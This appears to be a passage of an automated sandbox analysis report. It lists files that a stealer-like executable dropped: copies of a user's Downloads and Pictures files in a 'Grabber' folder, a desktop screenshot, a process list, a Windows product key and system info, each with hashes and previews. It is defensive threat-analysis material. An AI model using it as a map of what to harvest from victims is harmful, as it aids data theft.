SHA-512:	C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
Malicious:	false
Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\SQSJKEBWDT.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\SQSJKEBWDT.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\ZGGKNSUKOP.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\ZIPXYXWIOY.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Downloads\desktop.ini

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5191090305155277
Encrypted:	false
SSDEEP:	6:QyqRsioTA5wmHOlRaQmZWGokJqAMhAlt4DAlLwkAl2FlRaQmZWGokJISlVl9:QZsiL5wmHOlDmo0qmt4clLwr2FlDmo0d
MD5:	3A37312509712D4E12D27240137FF377
SHA1:	30CED927E23B584725CF16351394175A6D2A9577
SHA-256:	B029393EA7B7CF644FB1C9F984F57C1980077562EE2E15D0FFD049C4C48098D3
SHA-512:	DBB9ABE70F8A781D141A71651A62A3A743C71A75A8305E9D23AF92F7307FB639DC4A85499115885E2A781B040CBB7613F582544C2D6DE521E588531E9C294B05
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.4.....

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Pictures\Camera Roll\desktop.ini

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl6nM:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOy
MD5:	D48FCE44E0F298E5DB52FD5894502727
SHA1:	FCE1E65756138A3CA4EAAF8F7642867205B44897
SHA-256:	231A08CABA1F9BA9F14BD3E46834288F3C351079FCEDDA15E391B724AC0C7EA8
SHA-512:	A1C0378DB4E6DAC9A8638586F6797BAD877769D76334B976779CD90324029D755FB466260EF27BD1E7F9FDF97696CD8CD1318377970A1B5BF340EFB12A4FEB4A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.2.1.8.2.4.....

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Pictures\Saved Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl3sY:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOO
MD5:	87A524A2F34307C674DBA10708585A5E
SHA1:	E0508C3F1496073B9F6F9ECB2FB01CB91F9E8201
SHA-256:	D01A7EF6233EF4AB3EA7210C0F2837931D334A20AE4D2A05ED03291E59E576C9
SHA-512:	7CFA6D47190075E1209FB081E36ED7E50E735C9682BFB482DBF5A36746ABDAD0DCCFDB8803EF5042E155E8C1F326770F3C8F7AA32CE66CF3B47CD13781884C38
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.3.4.5.8.3.....

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.514398793376306
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmalDmo0qmN4clLwr2FlDmo0IWFSklrgl2FlDmo0qjKA1:QCGwv4o0u4o0RhlLwiF4o0HUsF4o01A1
MD5:	29EAE335B77F438E05594D86A6CA22FF
SHA1:	D62CCC830C249DE6B6532381B4C16A5F17F95D89
SHA-256:	88856962CEF670C087EDA4E07D8F78465BEEABB6143B96BD90F884A80AF925B4
SHA-512:	5D2D05403B39675B9A751C8EED4F86BE58CB12431AFEC56946581CB116B9AE1014AB9334082740BE5B4DE4A25E190FE76DE071EF1B9074186781477919EB3C17
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.9.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.3.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.6.....

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\System\Desktop.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	138359
Entropy (8bit):	7.794654521077061
Encrypted:	false
SSDEEP:	3072:mwddRPcWEqxp6EBUsCmigOQEeHZIuLDB7:mQ8Exp6E2npAWoDB7
MD5:	4CFAFD679B906CA140AB1219C8427A36
SHA1:	F0AB4E5CC17003FBE71AB603BC25DE2F7197DDC7
SHA-256:	30AA6B666276171FD6EFB0E4AA30CAF24C9D7791C2DE6AED8C4EE3654714D964
SHA-512:	0C57A8B398D2AAFDD9AECE10BB0F3C8234B09089FB4FC17BAAF308FBE38EA82B8B2852A073721E415BC1F08A32A79E627DBD43BF757C9DFFFB4DB9C82243C34D
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....Hc..............z.g..E.....-$o.?..\..<K.?..@.j..t..KT.Q.).......P...3.E.=.;..c...q.Q....n.mlc.]..o.$..@...<.`O......w....6.l..B.... *.z0..^'.m-V..;F..-.t..W'.Np09=..5./.iQH...#...Zu.(.....H..-..)43.5.O..R.(..Pwg9.@.....(...(...(...(...(...(...(...(...(....i..j/....R..h....A.F..Zj.].2.Gm'..m..p.........t.3.....+z.j..QEc....G._..?.5...~~U\|.~)...(...(

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\System\Process.txt

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	21103
Entropy (8bit):	5.654806264871987
Encrypted:	false
SSDEEP:	96:BTxQwBoHO23K5gUpog8bEP2dexqqCzlPBQ+Mg5vrvmgd2:BT5BFyjg8bEPE/qCzzQJar1d2
MD5:	FB69B4C8322F209BEF52883EEE080E83
SHA1:	6FB23A1FC9920AF9D0753459034506EA56702A2B
SHA-256:	69580B01FE0484DC21926340B0F43F6EB507A723FC8A19147DFBD5D84B90140A
SHA-512:	D75C573B654CC209B052EA5617BE1238FF4DF9C10963A5CCF35FAE3EC08B72F0DB502BF08A2D9461EFAFEEF38844A3C62CF2DF2525403C0E279D76875257B24C
Malicious:	false
Preview:	NAME: BUqNFfFMAmmyEpDDTqbeKcV..PID: 6464..EXE: C:\Program Files (x86)\tGJgxPqFtRDSWnzTCslEhqvFzgSfLJoikMizPypo\BUqNFfFMAmmyEpDDTqbeKcV.exe..NAME: BUqNFfFMAmmyEpDDTqbeKcV..PID: 1876..EXE: C:\Program Files (x86)\tGJgxPqFtRDSWnzTCslEhqvFzgSfLJoikMizPypo\BUqNFfFMAmmyEpDDTqbeKcV.exe..NAME: svchost..PID: 2152..EXE: C:\Windows\system32\svchost.exe..NAME: chrome..PID: 5912..EXE: C:\Program Files\Google\Chrome\Application\chrome.exe..NAME: RuntimeBroker..PID: 4732..EXE: C:\Windows\System32\RuntimeBroker.exe..NAME: csrss..PID: 420..EXE: ..NAME: BUqNFfFMAmmyEpDDTqbeKcV..PID: 4292..EXE: C:\Program Files (x86)\tGJgxPqFtRDSWnzTCslEhqvFzgSfLJoikMizPypo\BUqNFfFMAmmyEpDDTqbeKcV.exe..NAME: svchost..PID: 5152..EXE: C:\Windows\system32\svchost.exe..NAME: svchost..PID: 1700..EXE: C:\Windows\system32\svchost.exe..NAME: BUqNFfFMAmmyEpDDTqbeKcV..PID: 1268..EXE: C:\Program Files (x86)\tGJgxPqFtRDSWnzTCslEhqvFzgSfLJoikMizPypo\BUqNFfFMAmmyEpDDTqbeKcV.exe..NAME: BUqNFfFMAmmyEpDDTqbeKcV..PID: 2272..EXE: C:\Program

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\System\ProductKey.txt

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.745406425938248
Encrypted:	false
SSDEEP:	3:j9iyWV7E368mSn:BRWV761n
MD5:	B865F65C26704EDE472171FEE6EB42DD
SHA1:	03A5CF3F60C0D39F295E81D4EE137D0C1F979D26
SHA-256:	37D955DE60F7A0FDBF7955C9E9D88C4F0FA5C48480040E0D84BFC5E8016B7ED3
SHA-512:	B64B992CDAE529B1ACBF660CD4EFE99C05789B2B7169785177A6D2F5AF0AA34B41D90AA2E341B31C0E44E871DC7CF5A9E9B5A8F76AE5603A7C0B389BE1723024
Malicious:	false
Preview:	97XGW-NPYW7-424CF-9D2F9-WJYC7

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\System\ScanningNetworks.txt

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	84
Entropy (8bit):	4.6630509827051725
Encrypted:	false
SSDEEP:	3:PHsEiVboFkaQXMtS1ME/M2en:PsEwYVQXOS1TUn
MD5:	58CD2334CFC77DB470202487D5034610
SHA1:	61FA242465F53C9E64B3752FE76B2ADCCEB1F237
SHA-256:	59B3120C5CE1A7D1819510272A927E1C8F1C95385213FCCBCDD429FF3492040D
SHA-512:	C8F52D85EC99177C722527C306A64BA61ADC3AD3A5FEC6D87749FBAD12DA424BA6B34880AB9DA627FB183412875F241E1C1864D723E62130281E44C14AD1481E
Malicious:	false
Preview:	Active code page: 65001..The Wireless AutoConfig Service (wlansvc) is not running...

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\System\Systeminfos.txt

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	5.478965659558595
Encrypted:	false
SSDEEP:	24:87sl2IebvwP/hMOCiPwoiewy1oNRyGTS7v:8JIebvwPZhINRyGTSr
MD5:	0C28600EC3AFC97ACE128D623DAC4DF8
SHA1:	A2E1BBAA1CBCE502BD44D830716F563812BC2D9F
SHA-256:	4C16CB991DB3CC9B47906850986EA51C58132F7C01D16E18C7526AC1D0F982FA
SHA-512:	6A2C645420CA28E3A3D60A6E605BE99207D8B118460691FFD1EC17F8CEA9EBDCA086127893BFE4269240DEB172FD86314F1E9BF63D537BFDC3EC930045ADF86D
Malicious:	false
